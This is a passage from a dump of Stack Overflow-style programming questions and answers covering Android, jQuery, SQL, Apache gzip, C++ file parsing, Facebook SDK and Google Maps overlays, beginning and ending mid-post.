buttonTweet.setOnClickListener(this); defaultColor = textCount.getTextColors().getDefaultColor(); editStatus.addTextChangedListener(new TextWatcher() { public void afterTextChanged (Editable s) { int count = 140 - editStatus.length(); textCount.setText(Integer.toString(count)); textCount.setTextColor(Color.GREEN); if(count&lt;20 &amp;&amp; count &gt;= 10) textCount.setTextColor(Color.YELLOW); else if (count&lt;10) textCount.setTextColor(Color.RED); else textCount.setTextColor(defaultColor); } public void beforeTextChanged(CharSequence s, int start, int count, int after){} public void onTextChanged (CharSequence s, int start, int b, int c){} }); return view; } public void onClick(View view) { String status = editStatus.getText().toString(); Log.d(TAG, "onClicked with status: " + status); new PostTask().execute(status); editStatus.getText().clear(); } private final class PostTask extends AsyncTask&lt;String, Void, String&gt; { protected String doInBackground(String... params) { YambaClient yambaCloud = new YambaClient("student", "password"); try { yambaCloud.postStatus(params[0]); return "Succesfuly posted!"; } catch (YambaClientException e) { e.printStackTrace(); return "Failed to post to yamba sevice!"; } } @Override protected void onPostExecute (String result) { super.onPostExecute(result); Toast.makeText(StatusFragment.this.getActivity(), result, Toast.LENGTH_LONG).show(); } } } </code></pre>
4975957	0	 <blockquote> <p>where someone recommended the BackgroundWorker class this MSDN article mentions it is a bad idea to use this when if it manipulates objects in the UI, which mine does for purposes of displaying status counts</p> </blockquote> <p><a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx" rel="nofollow">BackgroundWorker</a> is actually ideal for this, as it was designed for this type of scenario. The warning is that you shouldn't change UI elements inside of <code>DoWork</code>, but rather via <code>ReportProgress</code> and the <code>ProgressChanged</code> event.</p> <p>The reason the warning exists is "DoWork" is executed on a background thread. If you set a UI element value from there, you'll get a cross threading exception. However, ReportProgress/ProgressChanged automatically marshals the call back into the proper <code>SynchronizationContext</code> for you.</p>
17259286	0	jquery blinking text and div reload <p>I have a div that refreshes every 30 seconds and I also have text that blinks if it's new content (checked by a cookie).</p> <pre><code>setInterval(function() { $('#reload').load('/page.php #reload'), function() {} }, 30000); // check if atis cookie exits var Key = $("#key").data('key'); if ($.cookie('check_'+Key) == null) { $('.blink_'+Key).each(function() { var elem = $(this); setInterval(function() { if (elem.css('visibility') == 'hidden') { elem.css('visibility', 'visible'); } else { elem.css('visibility', 'hidden'); } }, 500); }); } </code></pre> <p>The blinking works perfectly...until the div refreshes. Once the div refreshes, the blinking stops. I've tried adding the blinking code inside the refresh function, but no avail.</p> <p>Any ideas?</p>
40638928	0	 <p>Try to play with this:</p> <pre><code>object OptIdx { def main(args: Array[String]) { println(get_deltas(tests)) } var tests = List( List(Some(313.062468), Some(27.847252)), List(Some(301.873641), Some(42.884065)), List(Some(332.373186), Some(53.509768))) def findDifference(oldPrice: Option[Double], newPrice: Option[Double]): Option[Double] = { Some((newPrice.get - oldPrice.get) / oldPrice.get) } def get_deltas(data: List[List[Option[Double]]]): List[List[Option[Double]]] = { (for { index &lt;- 0 to 1 } yield { (for { i &lt;- 0 to data.length - 2 } yield { findDifference(data(i)(index), data(i + 1)(index)) }).toList }).toList } } </code></pre> <p>It prints the numbers you want, but two of them are swapped. I'm sure you can figure it out, though.</p>
16165095	0	Wordpress, magic fields and post types in menu's <p>I used magic fields a while back and I don't remember having any issues getting my post types to display in my menus.</p> <p>From what I remember and have been able to research online all I need to do is the following:</p> <ol> <li>Create a new Post type in Magic fields</li> <li>In the advanced Options make sure "Show in nav menus" is selected</li> <li>Add a new custom post</li> <li>Browse to Appearence > Menu's</li> <li>Select my main navigation menu</li> <li>On the left hand side select the Post type</li> </ol> <p>However When I get to #5 it's not displaying on the left as I remember.</p> <p>I created a new dev site on my local machine, installed Wordpress 3.4 and Magic field 2.2.1, Then I tried to make a post type and add it to the menu but this again did not display for me anywhere in the menu options.</p> <p>I just can't seem to find it. </p> <p>I've even been through the database entry for the new post type just to check the JSON (At least I'm pretty damn sure it's JSON) and It seems to be setting the show in navs option correctly.</p>
21189838	0	 <p>You will find a nice tutorial here: <a href="http://www.jusuchyne.com/codingforme/2012/12/jira-migrating-certain-projects-from-instance/" rel="nofollow">http://www.jusuchyne.com/codingforme/2012/12/jira-migrating-certain-projects-from-instance/</a></p> <p>As described <a href="https://answers.atlassian.com/questions/24187/is-there-a-tool-or-method-to-export-a-project-from-one-instance-of-jira-test-and-import-the-project-into-another-jira-instance-production" rel="nofollow" title="here">here</a>, there is a Plugin in the Atlassian Marketplace, that lets you copy the configuration: <a href="https://marketplace.atlassian.com/plugins/com.awnaba.projectconfigurator.projectconfigurator" rel="nofollow">https://marketplace.atlassian.com/plugins/com.awnaba.projectconfigurator.projectconfigurator</a></p>
13442034	0	Handlebars Bindings with Variable <p>i'm trying to create a Binding in Handlebars/Ember to an Object with a dynamic Key like this:</p> <pre><code>{{view Ember.TextArea valueBinding="foo.[view.content.someid]"}} </code></pre> <p>when im trying this with a static Key, everything is working fine</p> <pre><code>{{view Ember.TextArea valueBinding="foo.[bar]"}} </code></pre> <p>i guess that the "view.content.someid" in my Example is treated as a String. Has anybody a hint how I could solve this, or could tell me why this isn't working??</p>
10145469	0	decltype for member functions <p>How can I get the return type of a member function in the following example?</p> <pre><code>template &lt;typename Getter&gt; class MyClass { typedef decltype(mygetter.get()) gotten_t; ... }; </code></pre> <p>The problem, of course, is that I don't have a "mygetter" object while defining MyClass.</p> <p>What I'm trying to do is: I'm creating a cache that can use, as it's key, whatever is returned by the getter.</p>
36569227	0	Select two columns from same table with different WHERE conditions <p>I have two select statements and I want to generate two columns, one from each statement side by side using these two select statements inside a single select statement</p> <p><strong>Query 1</strong></p> <pre><code> SELECT DISTINCT CASE_ID from t1 WHERE MODIFIED_DATE BETWEEN TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-56 AND TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-49 </code></pre> <pre> CASE_ID 12 13 14 15 17 </pre> <p><strong>Query 2</strong></p> <pre><code>SELECT DISTINCT CASE_ID from t1 WHERE MODIFIED_DATE BETWEEN TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-49 AND TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-42 </code></pre> <pre> CASE_ID 45 98 67 90 76 82 61 </pre> <p>Final Output should be something like:</p> <pre> C1 C2 12 45 13 98 14 67 15 90 17 76 82 61 </pre> <p>Could anyone tell me how to do to so?</p> <p>Thank You. </p> <hr> <p><strong>Update</strong></p> <p>One of the query I tried from the answers :</p> <pre><code>SELECT DISTINCT case when MODIFIED_DATE BETWEEN TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD') - 56 AND TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD') - 49 then CASE_ID end as c1, DISTINCT case when MODIFIED_DATE BETWEEN TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-49 AND TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD')-42 then CASE_ID end as c2 from t1 WHERE MODIFIED_DATE BETWEEN TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD') - 56 AND TO_DATE('{RUN_DATE_YYYYMMDD}','YYYYMMDD') - 42 </code></pre> <p>And I am getting ORA-00936: missing expression. Could anyone tell me the problem?</p> <p>Thanks.</p>
23940154	0	 <p>Besides configuring an EC2-instance you can also use the PaaS-solution of AWS, namely Elastic Beanstalk. They have also support for Node.js and it's super easy to deploy your apps using this service.</p>
24743758	1	Pygame Large Surfaces <p>I'm drawing a map of a real world floor with dimensions roughly 100,000mm x 200,000mm.</p> <p>My initial code contained a function that converted any millimeter based position to screen positioning using the window size of my pygame map, but after digging through some of the pygame functions, I realized that the pygame transformation functions are quite powerful.</p> <p>Instead, I'd like to create a surface that is 1:1 scale of real world and then scale it right before i blit it to the screen. </p> <p>Is this the right way to be doing this? I get an error that says Width or Height too large. Is this a limit of pygame?</p>
23148367	0	 <p>Your problem is that <code>animal</code> is a <strong>private</strong> base class of <code>human</code> and therefore passing (and storing) <code>this</code> (which is of type <code>lady*</code>) can not be used to call the method from <code>animal</code>. You could fix it making it a public base or by adding a method to <code>human</code>:</p> <pre><code>animal* animal_ptr() { return this; } </code></pre> <p>and later bind:</p> <pre><code>std::bind(&amp;base_type::eat, animal_ptr(), std::placeholders::_1) </code></pre> <p><a href="http://coliru.stacked-crooked.com/a/86aa3493784bdb9a" rel="nofollow"><strong>Live example</strong></a></p>
12991777	0	including a directory in classpath of android ant build script <p>I am new to ant stuff and </p> <p>I have an android project which has a set of dependency jar files , like this</p> <ul> <li>C:\soundlibs\lib-sound1.jar</li> <li>C:\soundlibs\lib-sound2.jar</li> <li>C:\graphicslibs\lib-graphics.jar</li> </ul> <p>When building the android project using ant I have to copy all the jars to android project's libs folder, otherwise it will fail to build</p> <p>Is there a way to include the directories C:\soundlibs and C:\graphicslibs as part of the classpath so that when android script runs javac target it should find the relevant jars automatically , so that I do not have to copy them ??</p> <p>Thanks ,</p>
36543115	0	 <pre><code>//Your example json results = [{"type":"fruit", "name":"orange"},{"type":"flower","name":"rose"},{"type":"fruit", "name":"apple"}] </code></pre> <p>First you need to turn your json into an array of dictionaries to get the above object you think it will be:</p> <pre><code>if let results = try NSJSONSerialization.JSONObjectWithData(data,options: NSJSONReadingOptions.MutableContainers) as? [[String : AnyObject]] { //parse into form you want.} // Your example desired result of dictionary with key:array of dictionaries updatedResult[String:[AnyObject]]() = {"fruit":[{"name":"orange"},{"name":"apple"}],"flower":[{"name":"rose"}]} </code></pre> <p>Then you want to loop through the json result and grab out the values into the above format you want:</p> <pre><code>// Swift representation of your provided example let results = [["type":"fruit", "name":"orange"],["type":"flower","name":"rose"],["type":"fruit", "name":"apple"]] // Desired dictionary of key:array of dictionaries var updatedResult = [String:[[String:String]]]() for item in results { if let name = item["name"], type = item["type"] { if updatedResult.keys.contains(type) { updatedResult[type]!.append(["name":name]) } else { updatedResult[type] = [["name":name]] } } } </code></pre>
585538	0	 <p>Multiple inheritance can be used if the language allows it. I don't know much about it however.</p> <p>Otherwise, you can build a <code>StockItemNode : GraphicNode</code> from a <code>StockItem</code>: </p> <pre><code>class ItemNodeFactory { ... StockItemNode create(StockItem); ... } </code></pre> <p>You can transfer properties from <code>StockItem</code> into an instance of <code>StockItemNode</code> (set-get) which would completely decouple the two types. Or you can have <code>StockItemNode</code> wrap an instance of <code>StockItem</code> (composition).</p> <p>Doing it the other way around (having <code>NodeStockItem : StockItem</code> and/or wrapping a <code>GraphicNode</code> in a <code>StockItem</code>) would result in a particular bad design because you don't want to hardwire a coupling to a specific presentation (<code>GraphicNode</code>) inside a domain/business/data entity (<code>StockItem</code>).</p>
20155961	0	How do I reduce repetitive code when inserting the same metadata into identical columns over multiple tables? <p><strong>My goals:</strong></p> <ul> <li>Follow database-normalization.</li> <li>Ability to track changes in my tables.</li> <li>Ability to restore the state of my database from a given point in time, e.g. last month.</li> <li>Separate the code that is processing the data so that the input can come either from a HTML-form or a script in another language (Ruby/perl).</li> </ul> <p>To accomplish this, I've opted for a database design like the one described in this answer:</p> <p><a href="http://stackoverflow.com/questions/12563706/is-there-a-mysql-option-feature-to-track-history-of-changes-to-records">StackOverflow: Is there a MySQL option/feature to track history of changes to records?</a></p> <p>However, when a user updates several fields, the same metadata has to be inserted into multiple tables that contain identical columns, and my code becomes repetitive. </p> <p><strong>Example:</strong></p> <p>A user submits data through a HTML-form. PHP processes the data like below, with the help of Propel ORM.</p> <pre><code>function insertEvent($name, $venueId, $user, $date, $id = 0) { //validation and formatting.. //if id == 0, new event, //else, this is an update, archive the old database row on successful processing and maintain a common id as a parent //... $event = new Event(); $event-&gt;setName($name); $event-&gt;setVenueId($venueId); $event-&gt;setUser($user); //1 $event-&gt;setValidFrom($date); //1 $event-&gt;setValidUntil(null); //1 $event-&gt;save(); // ... } function insertEventPhonenumber($phonenumber, $pid, $user, $date, $id = 0) { //... $event_phonenumber = new EventPhonenumber(); $event_phonenumber-&gt;setPid($pid); //2 $event_phonenumber-&gt;setPhonenumber($phonenumber); $event_phonenumber-&gt;setUser($user); //2 $event_phonenumber-&gt;setValidFrom($date); //2 $event_phonenumber-&gt;setValidUntil(null); //2 $event_phonenumber-&gt;save(); // ... } function insertEventArtistId($artistId, $pid, $user, $date, $id = 0) { //... $event_artistId = new EventArtistId(); $event_artistId-&gt;setPid($pid); //3 $event_artistId-&gt;setArtistId($artistId); $event_artistId-&gt;setUser($user); //3 $event_artistId-&gt;setValidFrom($date); //3 $event_artistId-&gt;setValidUntil(null); //3 $event_artistId-&gt;save(); // ... } </code></pre> <p><strong>My problem:</strong></p> <p>In my full code there are more tables affected than the three in the example.</p> <p>Marked with //1, //2 and //3, you see data input that is often going to be identical.</p> <p>In my stomach, I don't like this. I've been trying search engines with queries like 'common columns in SQL insert queries over multiple tables' and variations of the wording, without finding anything directly related to my problem.</p> <p>Is this bad practice like it feels to me?</p> <p>How can I minimize the repetition in my code?</p>
19118230	0	 <p>You can always use "firebug" to track the elements of a website. It comes a plugin for firefox.</p>
9732383	0	month array not displaying proper value <p>i have month array like</p> <pre><code>$month = array( 01 =&gt; "January", 02 =&gt; "February", 03 =&gt; "March", 04 =&gt; "April", 05 =&gt; "May", 06 =&gt; "June", 07 =&gt; "July", 08 =&gt; "August", 09 =&gt; "September", 10 =&gt; "October", 11 =&gt; "Novemeber", 12 =&gt; "December" ); </code></pre> <p>but when i print_r this it display like this<br><br></p> <pre><code>Array ( [1] =&gt; January [2] =&gt; February [3] =&gt; March [4] =&gt; April [5] =&gt; May [6] =&gt; June [7] =&gt; July [0] =&gt; September [10] =&gt; October [11] =&gt; Novemeber [12] =&gt; December ) </code></pre> <p>it displaying sept as 0 and the month of august is not dispalying.<br></p> <p>can any one please tell me what is the problem with this. <br> Thanks</p>
11872269	0	stuck building a 'cart management' system <p>I'm trying to build a database for video spots. The main page is a list of spots and you can check them and modify them. What i want to do is build a cart system, where the checked spots' id's are automatically added to the cart and stored as a cookie. That way the use can browse multiple pages while still having everything stay checked.</p> <p>So far, I have a checkbox on every spot that when checked calls a function that adds the id of the checkbox to an array and stores it as a cookie. </p> <p>I'm able to retrieve the cookie through jquery. What I need to do is while looping through the spots and printing them, is to check if that spot id is in the cookie, so I can set it as checked or not through php. Is this possible? Is there a better way to accomplish this?</p> <p>Here is what i have so far.</p> <pre><code>$(document).ready(function(){ var checkedItems = []; $('.spotCheck').click(function(){ var currentID = this.id; checkedItems.push(currentID); updateCookie(); }); function updateCookie(){ $.cookie('itemList',checkedItems); } $('#mainContainer').click(function(){ $('#textInCenter').html($.cookie('itemList') ); }); }); </code></pre> <p>Clicking the checkbox adds the ID to the array checkedItems, and click the mainContainer makes it visible so I can see which items are currently in the array. I can browse through pages and the cookies stay in the array (there's no way to remove them now but I'm not worried about that right now).</p> <p>So how can I check the array to see if an id is in there when I print the list of spots?</p>
23520464	0	 <p>The <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy" rel="nofollow">Same Origin Policy</a> prevents you from manipulating the content of an Iframe from an different domain. This was put in place to prevent Iframed content from hijacking your privacy.</p> <p>What you want cannot be done.</p>
22225288	0	Performance of $rootScope.$new vs. $scope.$new <p>My current Controllers <code>$scope</code> is kind of thick with: <code>$watch</code> and event handlers. </p> <p>On one point I need to create a new scope for a modal, which does not have its own controller, because its quite simple. Still it needs a property of the current <code>$scope</code>. I was wondering which of the following solutions is better, and why?</p> <p>a)</p> <pre><code>var modalScope = $rootScope.$new(); modalScope.neededValue = $scope.neededValue; </code></pre> <p>b)</p> <pre><code>var modalScope = $scope.$new(); // modalScope.neededValue already there </code></pre> <p>Should I be worried that the created <code>modalScope</code> will watch also those expressions and events? Any other aspects I should be aware of?</p>
3575186	0	I want to Display news and events in a html page such that automatically they are rotating but on mouseover they stop? <p>I want to Display news and events in a html page such that automatically they are rotating but on mouseover they stop? Please give me any article link related this?</p>
8349264	0	 <p>Remove the line that says:</p> <pre><code>android:inputType="text" </code></pre> <p>Then you should get ellipses.</p>
32009553	0	 <p>The button is using the default styling. By setting the border to solid will override the default styles.</p> <p>You can combine the border declaration of width, style and colour into one line like so:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>.btnstyle2{ height: 28px; text-align: center; background-color: #F8F8F8; border-radius: 3px; border: 2px solid #E8E8E8; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;button type="button" class="btnstyle2"&gt;Dismiss&lt;/button&gt;</code></pre> </div> </div> </p>
34951325	0	Handle GZip compression on Apache 2.4.18 using mod_jk <p>I use Apache 2.4.18 as a reverse proxy to a Java web application.</p> <p>I need to configure gzip-compression on Html and Javascript files.</p> <p>I have deflate, headers and filter modules activated (and mod_jk, for sure).</p> <p>My apache2.conf file is a the default configuration file where I've added:</p> <pre><code>Include sites-enabled/ JKWorkersFile /etc/apache2/workers.properties ServerName localhost </code></pre> <p>My sites-enabled/example.com is reverse proxying to my application like this:</p> <pre><code>&lt;VirtualHost *:443&gt; ServerName gzip.example.com SSLEngine on JKMount /application* 172_10_0_1;use_server_errors=400,500 ErrorLog /var/log/apache2/gzip.example.com-error.log LogLevel warn CustomLog /var/log/apache2/gzip.example.com-access.log combined SSLCertificateFile /etc/ssl/private/*.example.com.pem SSLCertificateChainFile /etc/ssl/private/chain_example.com.crt &lt;/VirtualHost&gt; </code></pre> <p>And I'm using, in the mods-enabled/deflate.conf:</p> <pre><code>&lt;IfModule mod_deflate.c&gt; &lt;IfModule mod_filter.c&gt; # these are known to be safe with MSIE 6 AddOutputFilterByType DEFLATE text/html text/plain text/xml # everything else may cause problems with MSIE 6 AddOutputFilterByType DEFLATE text/css AddOutputFilterByType DEFLATE text/javascript AddOutputFilterByType DEFLATE application/x-javascript application/javascript application/ecmascript AddOutputFilterByType DEFLATE application/rss+xml AddOutputFilterByType DEFLATE application/xml &lt;/IfModule&gt; &lt;/IfModule&gt; </code></pre> <p>My browser says, on a js file (also check with Google Pagespeed):</p> <pre><code>Response Headers Accept-Ranges:bytes Cache-Control:max-age=0, no-cache, must-revalidate Connection:Keep-Alive Content-Length:15292 Content-Type:text/javascript Date:Fri, 22 Jan 2016 16:21:05 GMT ETag:W/"15292-1440752026000" Expires:Thu, 01 Jan 1970 00:00:00 GMT Keep-Alive:timeout=5, max=99 Last-Modified:Fri, 28 Aug 2015 08:53:46 GMT Pragma:No-cache Server:Apache/2.4.18 (Ubuntu) mod_jk/1.2.37 OpenSSL/1.0.2e Strict-Transport-Security:max-age=31536000 ; includeSubDomains X-Frame-Options:SAMEORIGIN </code></pre> <p>Is there a configuration that I missed?</p>
33320061	0	PHP Facebook SDK - check if user liked a fanpage <p>I'm trying to check if user liked a fanpage.</p> <p>Here is my code:</p> <pre><code> $facebook = new Facebook(array( 'appId' =&gt; APP_ID, 'secret' =&gt; APP_SECRET, 'cookie' =&gt; true, )); $user = $facebook-&gt;getUser(); if (!$user) { $loginUrl = $facebook-&gt;getLoginUrl(array( 'scope' =&gt; 'user_likes' )); } else { try { $likes = $facebook-&gt;api("/me/likes/".$fanpage_id); </code></pre> <p>And my problem - Facebook doesn't give me in a response facebook pages id. I don't know why. When I try to accept a permissions (as user), I can accept only publish informations about me. I can't accept permission "user_likes" because I can't see this permission in text information while I'm accepting a permissions.</p> <p>Anyone can't help me?</p>
30838260	0	 <pre><code>sed 's/$/ /;/[[:space:]]\(0\.\)\{0,1\}0[[:space:]]/!b o s/\([^[:space:]]*\).*/\1 0.0 0/ :o s/ $//' YourFile </code></pre> <p>with formating column</p> <pre><code>sed 's/$/ /;/[[:space:]]\(0\.\)\{0,1\}0[[:space:]]/!b o h;s/[[:space:]].*//;x;s/[^[:space:]]*//;s/[1-9]/0/g;H;x;s/\n// :o s/ $//' YourFile </code></pre>
38931351	0	 <p>Build your query something like.</p> <pre><code>$query="select * from table where source in(".$_SESSION.")"; $result = mysqli_query($con,$query); </code></pre>
34147784	0	Errors with require_once in php <p>I don't know why when i add a require_once function in my code, it can not run, always show that failed to open stream.</p> <pre><code>&lt;?php require_once("../../../../cadpro_vs2/include/admin/ad_nav.php") ?&gt; </code></pre> <p>Any mistake on syntax or something, please help!</p> <p>Can anyone help me?</p>
14176576	0	MS Access query sum up the values when certain columns match <p>I have an Access database holding shoot days for commercials and line items tied to each shoot day. </p> <p>So I'll have something like...</p> <pre><code>Shoot Day ...... Total Travel 400 Travel 150 Travel 200 1 350 1 275 2 850 2 500 ... ... </code></pre> <p>This goes on for a while. I want a query to return something like</p> <pre><code>Shoot Day ....... Total Travel 750 1 625 2 1350 ... ... </code></pre> <p>So I'd like it to add up the total column whenever there is a match in the Shoot Day column.</p> <p>I'd love some help! </p>
24153610	0	Category Hierarchy in Jekyll <p>I've been trying to use Jekyll categories in a hierarchical fashion, i.e.</p> <pre><code>A: ['class', 'topic', 'foo'] AA: ['class', 'topic', 'foo', 'bar'] AB: ['class', 'topic', 'foo', 'baz'] AAA: ['class', 'topic', 'foo', 'bar', 'qux'] </code></pre> <p>I'm trying to create a listing of all immediate subdirectories programmatically. That is, on a page with categories (A), I wish to be able to list the posts with categories (AA) and (AB), but not (AAA). Is this possible with Jekyll's vanilla structure, or should I consider using a plugin?</p>
3461218	0	Best Practice: iPhone app communicating to php script hosted on server <p>My iPhone app communicates with a php script hosted on a server. Hard coded into the app is the domainname.com/phpscript.php?=data</p> <p>If something happens to my domain name, the app won't work. Is there a best practice for handling this. Do you suggest a DNS or something? I'm just looking for ways to avoid a complete resubmission to apple, which takes a good 5 days.</p>
9332963	0	 <p>Try this:</p> <pre><code>-webkit-border-radius: 7px !important;-moz-border-radius: 7px !important; </code></pre> <p>I have used your code and !important fixed the issue.</p>
38711033	0	How to group items in array by summary each item <pre><code>&lt;?php $quantity = array(1,2,3,4,5,6,7,8,9,10,11,12,1,14,2,16); // Create a new array $output_array = array(); $sum_quantity = 0; $i = 0; foreach ($quantity as $value) { if($sum_quantity &gt;= 35) { $output_array[$i][] = $value; } $sum_quantity = $sum_quantity + $value; } print_r($output_array); </code></pre> <p>When summmary each item >= 35 will auto create child array</p> <pre><code>array( [0] =&gt; array(1, 2, 3, 4, 5, 6, 7), [1] =&gt; array(8, 9, 10), [2] =&gt; array(11, 12, 1), [3] =&gt; array(14, 2, 16) ) </code></pre>
10054422	0	 <p>Do you have any specific reason for using two different pcs? Assuming if you have two application, you can deploy them in one PC and have DB in the same PC.</p> <p>The design of the application should be like this. 1) Develop a REST/SOAP based Webservice application which talk to DB. 2) Deploy this application in Application server. 2) In your android application user REST/SOAP based webservice client to talk to the webservice hosted in step 2.</p>
24641573	0	How to Install SSL certificate in Linux Servers <p>I am trying to access https wcf web service from my application using monodevelop in Linux. The web service call is throwing the following exception</p> <blockquote> <p>SendFailure (Error writing headers) at System.Net.HttpWebRequest.EndGetRequestStream (IAsyncResult asyncResult) [0x00043] in /home/abuild/rpmbuild/BUILD/mono-3.4.0/mcs/class/System/System.Net/HttpWebRequest.cs:845 at System.ServiceModel.Channels.HttpRequestChannel+c__AnonStorey1.&lt;>m__0 (IAsyncResult r) [0x0001d] in /home/abuild/rpmbuild/BUILD/mono-3.4.0/mcs/class/System.ServiceModel/System.ServiceModel.Channels/HttpRequestChannel.cs:219.</p> </blockquote> <p>when I try to load the web service url using https, the Firefox browser is giving a warning:</p> <blockquote> <p>"This connection is Untrusted"</p> </blockquote> <p>The certificate(.cer) is generated using Visual Studio 2008 makecert utility.I tried to install certificate using the below commands </p> <ol> <li>certmgr -add -c -m My MyCert.cer</li> <li>certmgr -ssl <a href="https://myserver.com:1200/Monik/TestSvc" rel="nofollow">https://myserver.com:1200/Monik/TestSvc</a></li> </ol> <p>But it looks like the certificates are not configured properly. In some of the forums it saying that move the certificate to <strong>/etc/httpd/conf</strong> . But there is no such folder in my system</p> <p>Please let me know what I am missing?</p>
26389122	1	BeautifoulSoup not working on malformed utf-8 HTML <p>I'm starting to play with <code>BeautifulSoup</code> but its not working. Just tried to obtain all links with <code>find_all('a')</code> and the reponse is always <code>[]</code> or <code>null</code>. Issues could be caused by iso/utf-8 encoding or malformed html, right?</p> <p>I've found that if I only take code between <code>&lt;body&gt;&lt;/body&gt;</code> tags it will work ok, so we can prob discard encoding. </p> <p>So what to do? Is there a soup built-in function to fix malformed html? Maybe use RE to just take <code>&lt;body&gt;</code> contents? Any clues? Its probably a common issue...</p> <p>By the way, i'm dealing with Portuguese (pt_BR) language, Win64, Python27 and example not-working page is <a href="http://www.tudogostoso.com.br/" rel="nofollow">http://www.tudogostoso.com.br/</a></p> <p>EDIT: What i've done so far</p> <pre><code>#im using mechanize br = mechanize.Browser() site = 'http://www.tudogostoso.com.br/' r = br.open(site) #returned html IS OK. outputed and tested a lot html = r.read() soup = BeautifulSoup(html) for a in soup.find_all('a', href=True): print "Found the URL:", a['href'] #nothing happens #but if html = &lt;body&gt;...&lt;/body&gt; (cropped manually) its works and prints all the links </code></pre>
40705641	0	 <p>I was going through a similar issue and none of the above answers helped. My issue was:</p> <p>-> media message added (worked fine) -> text message added just after media message (app crashed)</p> <p>I found that my problem lied in this piece of code in my cell for item at indexPath</p> <pre><code> let message = messages[(indexPath as NSIndexPath).item] if message.senderId == senderId { cell.textView!.textColor = UIColor.white } else { cell.textView!.textColor = UIColor.black } </code></pre> <p>I just commented out this code and everything works fine now.</p>
16274260	0	Read a complex file to pair <string,pair<map<string,string> string> > C++ <p>So we basically want to read a text file consisting of some different segments to our program:</p> <p>the structure in the program is a cache with: pair data> ></p> <p>the structure in the file is (were key is used as both a key and a delimiter between segments) </p> <pre><code>key headerKey : headerValue headerKey : headerValue ...................... headerKey : headerValue key data data ... data key </code></pre> <p>We have been trying to read this using the following, but it doesnt read the date format (RFC1123). we only get the dates in headerValues as "08 Gmt" or similar "XX gmt". What is wrong in our reading algorithm, below is that <strong>we are using : as a delimiter</strong> but it appears in the date format in different meaning, i.e. segmenting the time:</p> <pre><code> try{ // Create stream ifstream ifs(this-&gt;cacheFile.c_str(), ios::binary); // Read file to cache if stream is good if(ifs.good()){ while (! ifs.eof() ){ map&lt;string,string&gt; headerPairs; string tmp; string key; string data; getline(ifs, tmp); while(tmp.empty()){ getline(ifs, tmp); cout &lt;&lt; "Empty line..." &lt;&lt; "\n"; if(ifs.eof()){ cout &lt;&lt; "End of File.."&lt;&lt; "\n"; break; } } //After empty lines get "Key" key = tmp; getline(ifs, tmp); //Get segment of header pairs while(tmp != key){ StringTokenizer headerPair(tmp, ":", StringTokenizer::TOK_TRIM); //StringTokenizer::Iterator it = headerPair.begin(); std::cout &lt;&lt; *(headerPair.begin()) &lt;&lt;": " &lt;&lt; *(headerPair.end()-1)&lt;&lt; std::endl; string headerKey = *(headerPair.begin()); string headerValue = *(headerPair.end()-1); headerPairs.insert(make_pair(headerKey, headerValue)); getline(ifs, tmp); } cout &lt;&lt; "Added " &lt;&lt; headerPairs.size() &lt;&lt; " header pairs from cache" &lt;&lt; "\n"; //tmp equals Key while(tmp!=key){ getline(ifs, tmp); cout &lt;&lt; "Searching for header-&gt;data delimiter" &lt;&lt; "\n"; } cout &lt;&lt; "Found header-&gt;data delimiter" &lt;&lt; "\n"; //Get segment of data! getline(ifs, tmp); while(tmp != key){ data+=tmp; getline(ifs, tmp); } cout &lt;&lt; "DATA: " &lt;&lt; data &lt;&lt; "\n"; cout &lt;&lt; "Ending delimiter:" &lt;&lt; tmp &lt;&lt; "\n"; this-&gt;add(key,make_pair(headerPairs, data)); cout &lt;&lt; "Added: " &lt;&lt; key &lt;&lt; " to memory-cache" &lt;&lt; endl; } ifs.close(); } } catch (Exception &amp;ex){ cerr &lt;&lt; ex.displayText() &lt;&lt; endl; } </code></pre> <p>Please suggest a better way of getting the date string:</p> <pre><code> DateTime now : Mon, 29 Apr 2013 08:15:57 GMT DateRetrieved from file: 57 GMT </code></pre> <p>In short: The problem is that we are using a : as a delimiter for the headers, i would like suggestions for another delimiter sign that is failsafe, i.e. it wont be found in the HTTP 1.0 or 1.1 Headers.</p>
33622908	0	 <p>You'll need to use an array:</p> <pre><code>function f() { local args=("$@") # values in parentheses for arg in "${args[@]}"; do # array expansion syntax echo "$arg" done } </code></pre>
20834720	0	how to make an overlay of google maps stand on top of the zoom bar <p>So here is how I create an overlay (the standart way). Problem is, when I drag the map around, the overlay gets behind the zoom bar and other controls. I want those controls to go behind the overlay. I tried changing the z-index of the overlay but that doesn't work because parents of the overlay have low z-index. If I change z-index of the parents, the controls get hidden by the whole map. So the reason that changing z-index doesn't work is because overlay and zoom bar for example are in 2 different divs which themselves have z-index.</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; #map { width: 600px; height: 500px; } &lt;/style&gt; &lt;script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var map; TestOverlay.prototype = new google.maps.OverlayView(); /** @constructor */ function TestOverlay(map) { this.setMap(map); } /** * onAdd is called when the map's panes are ready and the overlay has been * added to the map. */ TestOverlay.prototype.onAdd = function() { var div = document.createElement('div'); div.innerHTML = "I want the zoombar to go behind me."; div.style.backgroundColor = "white"; div.style.position = "relative"; div.style.fontSize = "20px"; // Add the element to the "overlayLayer" pane. var panes = this.getPanes(); panes.overlayLayer.appendChild(div); }; TestOverlay.prototype.draw = function() { }; // The onRemove() method will be called automatically from the API if // we ever set the overlay's map property to 'null'. TestOverlay.prototype.onRemove = function() { }; function init() { var mapCenter = new google.maps.LatLng(-35.397, 150.644); map = new google.maps.Map(document.getElementById('map'), { zoom: 8, center: mapCenter }); new TestOverlay(map); } google.maps.event.addDomListener(window, 'load', init); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="map"&gt;&lt;/div&gt; 